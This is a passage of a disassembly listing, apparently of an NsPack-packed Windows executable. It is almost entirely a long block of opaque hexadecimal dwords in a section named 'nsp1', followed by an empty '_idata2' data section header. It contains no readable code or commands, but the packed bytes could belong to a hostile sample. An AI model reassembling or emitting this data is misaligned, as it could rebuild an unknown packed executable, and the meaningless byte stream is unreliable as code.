		dd 42F5F2FAh, 7EA86713h, 242E8854h, 0D83873Ah, 37A6366Dh
		dd 27356998h, 152D40AEh, 38DDCF52h, 90063AF2h, 0F539EE5Ah
		dd 87195FD6h, 1BCA2517h, 0DD6AFC80h, 0DBA9F116h, 4D32873h
		dd 0E190CF66h, 72C81D77h, 193C567Fh, 289A42C6h,	0F58F2361h
		dd 0CF33F88Eh, 5CD07E3Dh, 122F4F22h, 4CB2079Dh,	0D66BEF2Bh
		dd 840D4FBBh, 0C8CB5B44h, 0A683BD9Dh, 0F0FA8603h, 0CD5DFADAh
		dd 0CABA70E2h, 0E5B9B1EBh, 0FF8E670h, 37AE7B04h, 9323641h
		dd 0B8B5B70Ah, 2F88298Ah, 0EAAC57DDh, 0EC2E518Eh, 0FB08F4D0h
		dd 9F626B0Dh, 0DAA3132h, 9A45B2BCh, 81090B49h, 32F19814h
		dd 0BE8748A2h, 9E804278h, 4F322D71h, 0EB215BC8h, 1C0C0195h
		dd 0EB9E4382h, 0DAACE307h, 0DA52D1A6h, 5D30C43Dh, 79023446h
		dd 0A5A7CC35h, 0C3BCC7D6h, 18CB7337h, 889A981h,	0F5CC8703h
		dd 0FF71EB74h, 1CA145C6h, 3CC3914Ch, 0CE82024Ah, 315A1A3Ch
		dd 56574B2Ch, 0C51518E8h, 10B95AF9h, 0F0D72B07h, 9DF3AE30h
		dd 0D0FFF953h, 2F3FF4A0h, 0F0E5C82Dh, 0A14D90E1h, 7D0BD6E4h
		dd 66886265h, 0C7060E3Ah, 9B21F346h, 0D5C4A4EFh, 0B458FD4Bh
		dd 3095DB6Ah, 0B77A68D9h, 55931D5Fh, 3AD0FD12h,	0DFBA733Ch
		dd 65E1A63Fh, 7EE8076Dh, 0DF6731D5h, 0C21B6837h, 29724CC3h
		dd 0EFDBC656h, 0F3F2985h, 41FACBE7h, 9D2EEB3Eh,	0EEF95892h
		dd 0E1E89DC1h, 13A773Ch, 605EB752h, 72B1CD4Bh, 147147A3h
		dd 0A64EFE9Bh, 2A75B7EEh, 3DB0C802h, 7E98A537h,	0CC4951F1h
		dd 0CA1366AAh, 0BD165B36h, 0A2040CD1h, 6CBD9B5Bh, 9F050E7Ah
		dd 87F1ED35h, 0EF47461Ah, 0B5A2A331h, 8F0C4BD8h, 292300F8h
		dd 7ADB8FEEh, 96AFEF3Dh, 0EA47D22Fh, 755056A5h,	588BEE80h
		dd 0FA5CDF72h, 0E6EEFA17h, 0D622D45Fh, 6A6FF798h, 0E9FC9CD2h
		dd 239727A7h, 6BD2C74Dh, 66012AEFh, 4D1B20E5h, 0BE2156F7h
		dd 0AE548A3Dh, 0CF1CE7CAh, 108F6FC1h, 0FB60A949h, 0A6FDAB6Fh
		dd 0C5348F0Ch, 1E58123Ch, 0C89A04B7h, 5811154Bh, 3855CFB6h
		dd 754BEE58h, 6CA6B274h, 405EFBF9h, 70251C85h, 0BB4FA22Fh
		dd 18606ECEh, 0E30F655h, 3B82C903h, 6AF91643h, 0B3AF8359h
		dd 9CECAB59h, 0AFA01082h, 62B42F7Fh, 0D86E2B0Bh, 0C873A64Bh
		dd 682AD9FCh, 140BAE41h, 575480DEh, 7645A71Ah, 8DAE9E30h
		dd 65EFFF6h, 552944D7h,	2438B9AAh, 0A51AE74Ah, 45C415D5h
		dd 746AECF0h, 88218487h, 35B59419h, 7EA5C4CAh, 8ECD7758h
		dd 4A61EF4Eh, 2DD3A428h, 0AEF9B590h, 8028355Fh,	2C2AC83Ch
		dd 0CE6F232Eh, 2EE7229Fh, 491D7066h, 49F041EFh,	5470B247h
		dd 0D694E890h, 451D7B78h, 0EEB0386h, 0AA923714h, 34BD2238h
		dd 70ED3B61h, 0BA753677h, 8927DAA1h, 971D2FB7h,	0F16EACD2h
		dd 8A3A5299h, 0DFF13768h, 0A3CD3103h, 9F69C45Ch, 9AF30777h
		dd 48C4054Bh, 4D1100F8h, 230FFFDCh, 45CBCD5h, 2B019724h
		dd 0EFCB594Dh, 0E580CC65h, 7FE3994h, 3993714Ah,	981ED60Eh
		dd 96D5D014h, 6B312124h, 6DFC4B7Ch, 896DE65Dh, 0C70FDE32h
		dd 79047115h, 0F1370FDEh, 60FB3628h, 0C95E7D3Bh, 0B42324EAh
		dd 8B39FADh, 11947B6h, 0B5A8F332h, 9F24C7F4h, 48F6F7CCh
		dd 47AC7827h, 0BA1F8CC7h, 0DC8546CDh, 92D2630Fh, 0DC632033h
		dd 5942339Ch, 4DE15A57h, 9285B67Dh, 716BF277h, 90FDA455h
		dd 0A69BE0E4h, 0A36F17A5h, 0C05B8188h, 424CE135h, 0EF347E30h
		dd 91BC3CB2h, 8AFABEDEh, 6BB888C1h, 7342B9A4h, 564A7C4h
		dd 45925684h, 65D2A7FEh, 0D479F774h, 905AC87Ah,	0A6BF445Ch
		dd 25147599h, 3A64599h,	73005347h, 6A07D5EBh, 273B387h
		dd 0CF48F9F5h, 0EE87D5Eh, 0C9F0A8D8h, 0DACDFCD4h, 0E4C28848h
		dd 0E85B13AEh, 88C21BEDh, 0ECB4D69Ch, 0FEBB4F77h, 0EF0560FAh
		dd 55867999h, 650EEEE8h, 668E252Dh, 465F610Ah, 0BEE3372Eh
		dd 8CC469A0h, 672FB348h, 1037CFA2h, 0CBE5D80Dh,	0E4F456ADh
		dd 0DFEEC449h, 88B0D5EBh, 7FD0BC13h, 628CB1FBh,	4CBDC413h
		dd 57AA05E3h, 754A5E54h, 0F53118EFh, 0D971907Bh, 7306A862h
		dd 95B2F2F6h, 1C00E08Fh, 9C514EF5h, 1F283253h, 353EF33h
		dd 6B5BE6A4h, 63E9D836h, 6C138485h, 0CC4CD496h,	321D1C63h
		dd 0F6454871h, 468CF661h, 549120A2h, 9C3D0F45h,	0E2855622h
		dd 0E8D802CCh, 2CD97EECh, 13E60514h, 0B278F726h, 0A9F5AFA6h
		dd 0F211E188h, 0A760FFA6h, 0C45EAE8Ch, 0BF498C8Eh, 7E284803h
		dd 0A54733B0h, 3EB839C0h, 5E115C91h, 0A3B3EAFFh, 0F00EBEC4h
		dd 4486700Ah, 55E2FD16h, 56C2F2BDh, 0BB20B56Bh,	21265E57h
		dd 0E543474Bh, 7C293166h, 3CA73795h, 655ECE8h, 7280F577h
		dd 2E0C7BB8h, 0DC42445Bh, 0DDDB1DD5h, 0FE40E097h, 0BFDF2929h
		dd 54E41422h, 0AF669141h, 0A264723Fh, 83B124Ch,	9F7DB23Fh
		dd 0C67D80DFh, 0E2C2894Fh, 0BD6C0E48h, 179D30E7h, 4CF5957Bh
		dd 268BB83Bh, 9F64BA99h, 0BECE18E0h, 308E6CE3h,	6149A046h
		dd 7B8908FBh, 0D263F005h, 0B75F899Bh, 5214E510h, 629488B4h
		dd 3E2B51FEh, 0C94853B6h, 0BDE29333h, 37153067h, 659F38B6h
		dd 0CD24E2E6h, 0B0863E5Ah, 26D6817Ah, 0D5A10AF4h, 78139C09h
		dd 0A80864B9h, 951535D7h, 0B057174Fh, 9AF4542Dh, 1119E954h
		dd 8B75DD22h, 0E8E505D8h, 0A8DC7036h, 293974AFh, 281B9292h
		dd 0EB67F1F1h, 4546E84Ah, 0AD671430h, 40C36A81h, 9B5585C1h
		dd 0D8FF3BBh, 0B4D5F3CDh, 6006ECBh, 5E846EDDh, 0F58C0DB6h
		dd 2F2B47C2h, 2020DD79h, 0F3030CFAh, 0B45B75B4h, 0FF35A7DCh
		dd 0C25F34EFh, 0D19BB72Ah, 6CEBF372h, 0E03ED306h, 34C49C40h
		dd 4023846Ah, 38F7D6F0h, 753C6654h, 8954BB0Ch, 0CCBD5AD6h
		dd 0EBF4100Eh, 0F846C8BFh, 39405602h, 0E67460F7h, 0B0BD8B85h
		dd 6E4A74BAh, 5AF543BAh, 25B7916Eh, 0A958BFD1h,	6502DDB5h
		dd 0F3EEC403h, 72E88788h, 9F82337Eh, 7FEE8F5Fh,	13EB3F0h
		dd 804A496Dh, 912EECB2h, 640BBE8h, 0AC7221B9h, 6EE3622Eh
		dd 0C4B5E857h, 9F7E55F5h, 4378124h, 27FD7DB7h, 1E017B20h
		dd 5DAEB331h, 0E6DB6383h, 565834EAh, 160CB8ACh,	0AC1E2999h
		dd 4ED444D0h, 0AB1FEA76h, 0CCA82217h, 0EE89969Bh, 0D14376FCh
		dd 6464DF39h, 0C47A3953h, 0E5C12DE9h, 864B00BBh, 7A8CCB2Fh
		dd 8DA78120h, 6A664FDBh, 2F67841h, 9681220Fh, 0D90EEA0Eh
		dd 0F63137DDh, 0C76D1496h, 0D8687436h, 4A2898FCh, 4728C280h
		dd 0E512E297h, 1CD63D0Fh, 0C23336F2h, 0F48B8C93h, 376307EEh
		dd 7441FFFFh, 0F2BD2C7Ah, 8D02AFEEh, 188DF3ECh,	0F84F171Bh
		dd 0F11FD208h, 508625BBh, 2A1B4A02h, 8184CC66h,	45DAFA91h
		dd 0DBA74B1Eh, 6935E651h, 9457A59Bh, 10D17DA2h,	3C24AB97h
		dd 57EDD11Bh, 0BA196311h, 0E71A1439h, 0D2FDBD8h, 1A5CE992h
		dd 5004E3C2h, 3A376E91h, 0DAA38448h, 3A617B3Fh,	43E13AFDh
		dd 0AD5EA9D2h, 48B39D75h, 8912A527h, 7C853912h,	14C2AC7Ah
		dd 963A50C8h, 0D2B484AAh, 0C2EF4F26h, 4DA28A25h, 77F9E0BDh
		dd 7EB11D52h, 6E473444h, 6991BDAEh, 94AF2EAAh, 664041A0h
		dd 435B7CD2h, 3F76AA9Dh, 5E623F42h, 0DFD61C5Eh,	746E1A4Ah
		dd 9DDFA0ECh, 0EA3E8B10h, 0D2BA6945h, 5C29324Fh, 0CE1F668Fh
		dd 4C89FAC7h, 8564F877h
		dd 4B11D600h, 6082F776h, 0B4ABD898h, 0B7A47846h, 232403B7h
		dd 3118D5A5h, 0FE701E99h, 8944EE86h, 4F0D3CE0h,	58672B85h
		dd 0D9249430h, 6F11E7BCh, 9E386A1Eh, 37577735h,	0A70ACF3Bh
		dd 0B4E137E2h, 2D5859B3h, 5B4B757Fh, 22AEBEC9h,	0A2EA700Ah
		dd 0EFD71D8Dh, 9CE23618h, 8F5EA8B7h, 0C52D10C2h, 0D84BD685h
		dd 79CC2CDBh, 0C37CBAAAh, 0CE88ED09h, 67B8FB6Eh, 2E5273ACh
		dd 550492B6h, 0D64C7292h, 371977C8h, 16E847F2h,	8B108D2Eh
		dd 8984DF24h, 564F37CDh, 564C7436h, 44535672h, 516A0C2h
		dd 8A6F061Bh, 8E7E05CDh, 958C33FFh, 0B06DA564h,	0FDD7A388h
		dd 0E6827CCBh, 784531D0h, 7518B393h, 469505A4h,	0D4B7E291h
		dd 818CB40Fh, 19EEC9E4h, 65E94838h, 0DEFD8A2Ch,	2B759FE7h
		dd 32DD45FDh, 0E021B091h, 32E7F391h, 0C10D9168h, 1FCD288Fh
		dd 6B82B8FEh, 0F4D9646Eh, 0B4DA5E93h, 0DE8EC353h, 855324EBh
		dd 0F470848Dh, 5E4D9DF5h, 277B5B6Ch, 3A33347Bh,	0C7032ADEh
		dd 0AAA3E901h, 133D11F5h, 0CCC1649Eh, 24E7D450h, 0A8A35161h
		dd 0A325A588h, 8B6CFA96h, 0F9FB1FE3h, 4A1DA7B1h, 0BB63D77h
		dd 0B16BE022h, 0FE8A382Dh, 9CE01F49h, 0F1855DC2h, 0F24576EFh
		dd 40F68454h, 39C821D0h, 531FEAC9h, 0C1C7B34Eh,	0ED041113h
		dd 0DB4C7DBAh, 9E00FC7Bh, 296D1336h, 6041CC8Eh,	0A1F218E2h
		dd 2C0765D6h, 37EFD066h, 0A014F0C3h, 0D941BF74h, 31E53EF1h
		dd 0AD33498Ch, 6CA0DAA5h, 0FAB8C923h, 10A2C32Fh, 642B3A5Dh
		dd 0F5D58F20h, 0ACA2D3D0h, 1016C02Ah, 3B0AFEA5h, 5B9DC0Ah
		dd 0ECD5E18Ah, 0FEBDB7h, 82B49863h, 1BE253DFh, 99126ADCh
		dd 8E9B6963h, 163606FDh, 85FB50C8h, 347617FAh, 0A9308C4Fh
		dd 0DD4B5ADBh, 5CF3E343h, 9C1B8BECh, 2FFFCF63h,	86B7384Dh
		dd 0CE550000h, 2A728BEAh, 47DE64B6h, 7722B973h,	568E9A8Bh
		dd 0F1C767B1h, 0C9F827CAh, 65B95C17h, 751C3633h, 3B8B153h
		dd 9CE1793Ah, 0F21019FFh, 48F43938h, 87463CD2h,	0C5FD6788h
		dd 8C939A3Eh, 64DE53CAh, 0EEA23C7Fh, 479C7E77h,	0CC3F464Ah
		dd 0A24CF4h, 7CD1C014h,	5C67C677h, 0B5B2B3B8h, 67A61527h
		dd 0B2906B20h, 2EA76EDFh, 0E876639Dh, 9CF81463h, 8E029623h
		dd 153E2DA6h, 78475812h, 5DFBFE93h, 804F8A02h, 60EFB585h
		dd 103910F1h, 0A250C294h, 0EB3195ECh, 894A643Fh, 7D14D1A2h
		dd 3D014CBDh, 0BB21698h, 0D8EEB8B5h, 0EF49E66h,	5B3CECEDh
		dd 7CBFF59Ah, 8581BA96h, 231E0B51h, 21D199A6h, 6A969A90h
		dd 52984039h, 0B8116A91h, 0F17E4A04h, 8A7D6438h, 5192D889h
		dd 0C7C28F63h, 0C6A15EABh, 0ED25123Ch, 0F63E4907h, 0C5C694FBh
		dd 0AE67FD03h, 0E84C08Ah, 0FB2DC6A2h, 0FA9824A6h, 0B489E241h
		dd 3EA3B577h, 772FB34h,	8490E6E9h, 31E0CBC6h, 0DB4D6FBh
		dd 50082358h, 0A1868CF5h, 0A93754CAh, 8167D82Ah, 0CB3E43D7h
		dd 0AD1F1FE1h, 0A392BD84h, 0C0BC7F98h, 476CB494h, 0D243F29h
		dd 0E830F7DBh, 687E660Eh, 0BCF29CE5h, 51A7C38Fh, 0AC8F2E59h
		dd 77CD0F5Dh, 7F24B4BFh, 0D79F83AAh, 33427523h,	51521D6Bh
		dd 4DB3E31Eh, 3720873Fh, 8C962AC9h, 48182CF7h, 0DB26AF4Bh
		dd 122F046Bh, 2451D771h, 4964F401h, 0B52D1929h,	7F49CBAAh
		dd 6E83F26Bh, 9F3BE6ADh, 29D72E86h, 0F50A075Ch,	1EEBB918h
		dd 0A11A626Eh, 887A1794h, 0BAC2CD6Bh, 0D9660418h, 9444A90Dh
		dd 0B4F53D23h, 0B48BED16h, 4A127764h, 6B4E7077h, 150D5814h
		dd 688550F2h, 5E846D4Ch, 0EBBBB435h, 322FC879h,	0E4384468h
		dd 0E30A1BAFh, 4AA331C8h, 1FE1ED69h, 9AFDFCCh, 41C2404Dh
		dd 111BDF8Ah, 0FDDF03F1h, 255EAF7Ah, 0FC535931h, 0EC9307F0h
		dd 0F175A8C1h, 0BB36E807h, 0EE3D7A45h, 5CEC54BCh, 8C1D49C0h
		dd 97DCB14Ah, 35F803DFh, 96E1F55Ch, 44814483h, 53C3177Eh
		dd 55550D6Dh, 0CBBA111Fh, 3E974A0Bh, 51F55336h,	9F60B116h
		dd 0E57A6EFBh, 0E066C0B4h, 7F005E02h, 3247D4E2h, 46CE7A7h
		dd 26099D9h, 2EEB03A1h,	9CAEB74Bh, 22D29753h, 7CA5B347h
		dd 3A265ABAh, 903F6094h, 0CE6A6B99h, 7CC08C01h,	9B7A58Fh
		dd 0D96F5ADCh, 1FA74FFDh, 9DFE07CDh, 1F6D0EE4h,	528303A6h
		dd 0D0415F41h, 0AA6CE718h, 61D1B4B3h, 44E3323Dh, 23F10A6Ch
		dd 0B4863405h, 0ABAA0962h, 7EE7EB8Dh, 8669F328h, 5C95D8E1h
		dd 0A6146AF4h, 3610EB0Ah, 284631E7h, 0B5A1CBC9h, 0AE719005h
		dd 0CBCF8289h, 0C946E789h, 0C0D07112h, 0C8250AC9h, 4FCBE5F3h
		dd 0C76B426Fh, 0F4F91DBBh, 1E38104Fh, 3A16BBAh,	0F3FEDCB6h
		dd 0A2647F86h, 7F5CAD62h, 91D10C47h, 60ADAA11h,	0B1CEBA1Dh
		dd 595C1827h, 5266E986h, 76E9BE58h, 0E5E459ACh,	0F908055Bh
		dd 0FCADDAC7h, 742B52FBh, 205B1ECDh, 53DDF942h,	6429F83Dh
		dd 0CB803B09h, 0B5DF6C2Ah, 0BBC4F03Bh, 40FC71A2h, 15D59E43h
		dd 6CB773A8h, 5FCAAD13h, 2E31103h, 935DA510h, 0A4DCB592h
		dd 0C647420h, 798469B5h, 66273C5Eh, 0CAE891AEh,	49E688C3h
		dd 690C208Ah, 0E46F8BC8h, 208F75BFh, 0D5C49788h, 77458ED8h
		dd 0D9A7628Bh, 0E0680FECh, 83CCDEC2h, 16996E24h, 7AB2D39Fh
		dd 0B392B4BBh, 3F89DED8h, 0F9F641DDh, 0DCE90FF5h, 6F558448h
		dd 0B1B0072h, 2D437787h, 5EB6CA87h, 0ADA5F860h,	85876C65h
		dd 0BAA8B33Ch, 0EE5F3CF7h, 0B0D4A47Dh, 0D77B9702h, 5C41C1BEh
		dd 67673F0Dh, 0B33E4694h, 362256FDh, 83EF4662h,	0FFEDBF2Eh
		dd 0FA6C5A3Eh, 0CC91A161h, 33AD826h, 0A162187Ch, 110D4F65h
		dd 0D5BA88B9h, 4C01D688h, 302C68BDh, 0D363DA1Fh, 0BD6359D4h
		dd 0E98CA0F1h, 242034E2h, 0A2824C4Ah, 0E5ABA639h, 41D4A562h
		dd 298B07E3h, 0D17B752Fh, 969625B4h, 9AF436C0h,	6EF8892Ch
		dd 0F5BAB588h, 0A36C1190h, 498257BFh, 69078AB4h, 0CC8C72E4h
		dd 0D0A34871h, 6C35A03Dh, 0A3BCF777h, 82252CE5h, 0EB5AEF76h
		dd 4D4979F3h, 1CD58875h, 0A443CA5Fh, 609928D6h,	0EE8F22BCh
		dd 0C6078063h, 0D4F2E41Ch, 0E189FCBFh, 7E5069D5h, 3AB992Bh
		dd 49E30D36h, 0D837FB31h, 85D472FAh, 0EF5931CEh, 93862C3Bh
		dd 172CEFB5h, 975C22E6h, 23160AEBh, 20B155FFh, 17FCE407h
		dd 0D633295h, 1833FA1Ch, 6545B5F1h, 51D915FAh, 39CFCA98h
		dd 0B2E55FE6h, 950EAB86h, 2A6FE20Dh, 0C212A367h, 6D33D23h
		dd 4062E969h, 0D3A3380h, 9B8C3BA3h, 0CF53A81Fh,	0A2ED13C9h
		dd 9A9679B2h, 391A0E99h, 4F822490h, 0FE296F2Fh,	0E0586E8Ch
		dd 815D7FB7h, 7F743A18h, 0B6BBAD8Fh, 0C785D7DFh, 0DE7F226Bh
		dd 7F4AC94Bh, 8C83F144h, 53390086h, 0B0AEE44Fh,	0EA557EF8h
		dd 0E8210F89h, 22530A7Bh, 67BB5DF0h, 0B5A06D95h, 85530DA8h
		dd 0D24BE57Dh, 0BD505746h, 97CC566Bh, 0FEAF3FB4h, 0FA210956h
		dd 0C9DFBBA7h, 7276D4BDh, 0C3AB34Ch, 0AA0DDFD6h, 855C89D3h
		dd 17A76CB5h, 0C98A94A2h, 2E7D4221h, 934144A6h,	350CC870h
		dd 0BC05B62Fh, 1330456Bh, 2F7D680h, 44D949BEh, 2721023Fh
		dd 51B70053h, 1C9A4655h, 15560075h, 76795D9Bh, 8FDF752Dh
		dd 84BA5BA4h, 0D1C9D498h, 1996CADEh, 0E5AA6310h, 0A1DD827Dh
		dd 1FABD9BCh, 0EE4BBD26h, 0E8F56D79h, 833B45DDh, 37D5F1F1h
		dd 0B32EA8C1h, 32865C2Ah, 0D352388Dh, 0C8E7043Bh, 0C060F49Eh
		dd 0E531CDE9h, 0BE91FD90h, 0D6057A1Fh, 9999124Eh, 0A183C32Ah
		dd 0D02EEA3h, 309A1C1Fh, 3821960Eh, 0F07B0EE0h,	18ECA7BEh
		dd 3C1FC753h, 951C0820h
		dd 60F268EBh, 3A08B534h, 0B61B3EEBh, 0EB15B679h, 2A6DE64Dh
		dd 69BEA75Ch, 0F572252Fh, 4CAF4900h, 38E191ABh,	0D4DF7AEEh
		dd 0A154C15Ah, 5ED20145h, 471F5BA5h, 0E04792C8h, 377F83ECh
		dd 6A0BEF3Dh, 0ACC2B364h, 0C97D414Ah, 0FDEB98CEh, 0B404D30Fh
		dd 7C6EAB9Bh, 43AC960Ah, 0B3E00B55h, 5C314835h,	592F9F5Dh
		dd 0FD9EE14Bh, 86BDD8F9h, 4B556969h, 0D43E4463h, 0A06A68E9h
		dd 43299EC3h, 11597FFFh, 0E4742E99h, 0CBEF9F34h, 0D0415F41h
		dd 0AA6CE718h, 61D1B4B3h, 44E3323Dh, 23F10A6Ch,	0B4863405h
		dd 0ABAA0962h, 7EE7EB8Dh, 8669F328h, 5C95D8E1h,	0A6146AF4h
		dd 4C5h	dup(0)
nsp1		ends

; Section 3. (virtual address 000F4000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000F3E00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4F4000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start